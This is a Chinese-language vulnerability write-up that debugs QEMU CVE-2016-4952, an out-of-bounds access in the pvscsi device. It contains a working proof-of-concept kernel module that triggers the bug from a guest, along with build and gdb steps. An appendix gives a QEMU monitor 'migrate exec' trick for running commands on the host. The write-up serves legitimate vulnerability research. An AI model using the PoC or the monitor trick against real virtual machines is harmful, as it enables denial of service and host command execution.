调试Qemu CVE-2016-4952

环境:
Mac: VMware Fusion
VMware: Ubuntu 18.10 x64 4G 开启Intel VT-x/EPT支持 qemu-2.3.0
qemu: Ubuntu 18.04 x64 2G

漏洞分析

虚拟硬件设备是Qemu-KVM中最大的攻击面,本文介绍的漏洞就是一个很典型的例子。根据CVE-2016-4952的描述,这是一个OOB r/w access漏洞。当处理SCSI的PVSCSI_CMD_SETUP_RINGSPVSCSI_CMD_SETUP_MSG_RING命令时即可触发漏洞,Guest中的root用户可以利用这个漏洞造成DoS攻击。
首先看一下漏洞的patch(hw/scsi/vmw_pvscsi.c):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
+static int
pvscsi_ring_init_data(PVSCSIRingInfo *m, PVSCSICmdDescSetupRings *ri)
{
...
+ if ((ri->reqRingNumPages > PVSCSI_SETUP_RINGS_MAX_NUM_PAGES)
+ || (ri->cmpRingNumPages > PVSCSI_SETUP_RINGS_MAX_NUM_PAGES)) {
+ return -1;
+ }
...
}
+static int
pvscsi_ring_init_msg(PVSCSIRingInfo *m, PVSCSICmdDescSetupMsgRing *ri)
{
...
+ if (ri->numPages > PVSCSI_SETUP_MSG_RING_MAX_NUM_PAGES) {
+ return -1;
+ }
...
}

触发流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static void
pvscsi_io_write(void *opaque, hwaddr addr,
uint64_t val, unsigned size)
{
PVSCSIState *s = opaque;

switch (addr) {
case PVSCSI_REG_OFFSET_COMMAND:
pvscsi_on_command(s, val);
break;

case PVSCSI_REG_OFFSET_COMMAND_DATA:
pvscsi_on_command_data(s, (uint32_t) val);
break;
...
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static void
pvscsi_on_command_data(PVSCSIState *s, uint32_t value)
{
size_t bytes_arrived = s->curr_cmd_data_cntr * sizeof(uint32_t);

assert(bytes_arrived < sizeof(s->curr_cmd_data));
s->curr_cmd_data[s->curr_cmd_data_cntr++] = value;

pvscsi_do_command_processing(s);
}

static void
pvscsi_on_command(PVSCSIState *s, uint64_t cmd_id)
{
if ((cmd_id > PVSCSI_CMD_FIRST) && (cmd_id < PVSCSI_CMD_LAST)) {
s->curr_cmd = cmd_id;
} else {
s->curr_cmd = PVSCSI_CMD_FIRST;
trace_pvscsi_on_cmd_unknown(cmd_id);
}

s->curr_cmd_data_cntr = 0;
s->reg_command_status = PVSCSI_COMMAND_NOT_ENOUGH_DATA;

pvscsi_do_command_processing(s);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static const struct {
int data_size;
uint64_t (*handler_fn)(PVSCSIState *s);
} pvscsi_commands[] = {
...
[PVSCSI_CMD_SETUP_RINGS] = {
.data_size = sizeof(PVSCSICmdDescSetupRings),
.handler_fn = pvscsi_on_cmd_setup_rings,
},
...
};

static void
pvscsi_do_command_processing(PVSCSIState *s)
{
size_t bytes_arrived = s->curr_cmd_data_cntr * sizeof(uint32_t);

assert(s->curr_cmd < PVSCSI_CMD_LAST);
if (bytes_arrived >= pvscsi_commands[s->curr_cmd].data_size) {
s->reg_command_status = pvscsi_commands[s->curr_cmd].handler_fn(s);
s->curr_cmd = PVSCSI_CMD_FIRST;
s->curr_cmd_data_cntr = 0;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
static uint64_t
pvscsi_on_cmd_setup_rings(PVSCSIState *s)
{
PVSCSICmdDescSetupRings *rc =
(PVSCSICmdDescSetupRings *) s->curr_cmd_data;

trace_pvscsi_on_cmd_arrived("PVSCSI_CMD_SETUP_RINGS");

pvscsi_dbg_dump_tx_rings_config(rc);
pvscsi_ring_init_data(&s->rings, rc);
s->rings_info_valid = TRUE;
return PVSCSI_COMMAND_PROCESSING_SUCCEEDED;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct PVSCSICmdDescSetupRings {
uint32_t reqRingNumPages;
uint32_t cmpRingNumPages;
uint64_t ringsStatePPN;
uint64_t reqRingPPNs[PVSCSI_SETUP_RINGS_MAX_NUM_PAGES];
uint64_t cmpRingPPNs[PVSCSI_SETUP_RINGS_MAX_NUM_PAGES];
} QEMU_PACKED;

static void
pvscsi_ring_init_data(PVSCSIRingInfo *m, PVSCSICmdDescSetupRings *ri)
{
int i;
uint32_t txr_len_log2, rxr_len_log2;
uint32_t req_ring_size, cmp_ring_size;
m->rs_pa = ri->ringsStatePPN << VMW_PAGE_SHIFT;

req_ring_size = ri->reqRingNumPages * PVSCSI_MAX_NUM_REQ_ENTRIES_PER_PAGE;
cmp_ring_size = ri->cmpRingNumPages * PVSCSI_MAX_NUM_CMP_ENTRIES_PER_PAGE;
...
* for (i = 0; i < ri->reqRingNumPages; i++) {
* m->req_ring_pages_pa[i] = ri->reqRingPPNs[i] << VMW_PAGE_SHIFT;
* }

* for (i = 0; i < ri->cmpRingNumPages; i++) {
* m->cmp_ring_pages_pa[i] = ri->cmpRingPPNs[i] << VMW_PAGE_SHIFT;
* }
...
}

漏洞原因:在执行pvscsi_on_cmd_setup_rings时,未对用户输入的命令参数进行足够的检查,当其中代表长度的字段过大时,会导致OOB。
CVE-2016-4952的PoC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <asm/io.h>
#include <linux/module.h>
#include <linux/slab.h>
uint64_t pmem;
static int m_init(void){
printk("m_init\n");
int i;
int *context;
pmem = ioremap(0xfebf0000,0x1000);
context = kmalloc(0x1000,GFP_KERNEL);
for(i=0;i<0x100;i++)
context[i]=0x41414141;
if(pmem){
writel(3,pmem);
for(i=0;i<0x100;i++)
writel(context[i],pmem+0x4);
iounmap(pmem);
}
else
printk("ioremap fail\n");
kfree(context);
return 0;
}
static void m_exit(void){
printk("m_exit\n");
}
module_init(m_init);
module_exit(m_exit);

Makefile如下:

1
2
3
4
5
6
7
8
9
10
11
PWD := $(shell pwd)
KVERSION := $(shell uname -r)
KERNEL_DIR = /usr/src/linux-headers-$(KVERSION)/

MODULE_NAME = test
obj-m := $(MODULE_NAME).o

all:
make -C $(KERNEL_DIR) M=$(PWD) modules
clean:
make -C $(KERNEL_DIR) M=$(PWD) clean

PoC中用到的与外设交互的知识在另外一篇文章中介绍。

环境配置

编译qemu-2.3.0

1
2
3
4
5
$ tar -jxvf ./qemu-2.3.0.tar.bz2
$ cd qemu-2.3.0/
$ ./configure --enable-kvm --enable-debug --target-lsit=x86_64-softmmu
$ make -j4
$ ./qemu-2.3.0/x86_64-softmmu/qemu-system-x86_64 --enable-kvm -m 2096 ./ubuntu.img -device pvscsi

调试Qemu

在VMware中启动qemu后,用gdb attach到进程

1
2
3
4
5
6
$ ps aux | grep qemu
$ sudo gdb
(gdb) attach <qemu_pid>
...
(gdb) break *pvscsi_io_write
(gdb) c

在刚刚启动的Qemu中编译安装内核模块(PoC)

1
2
$ make
$ sleep 5; sudo insmod test.ko

这里需要注意的是,在插入内核模块前的sleep 5是为了让鼠标有时间移出qemu虚拟机,如果直接插入模块会马上触发断点,鼠标就会被锁在qemu虚拟机中,还需要注意,在执行命令前需要先执行一次sudo+任意cmd,否则sleep 5之后还需要输入密码,鼠标也会被锁在qemu虚拟机中。

附录
Qemu monitor攻击面
进入方式:

  1. Ctrl+alt+2
  2. Ctrl+a,c

在Qemu monitor中可以直接对虚拟机进行管理,在未关掉Qemu monitor的虚拟机中可以直接在host执行任意命令。
关闭Qemu monitor:-monitor /dev/null
执行命令:migrate "exec: <your cmd>"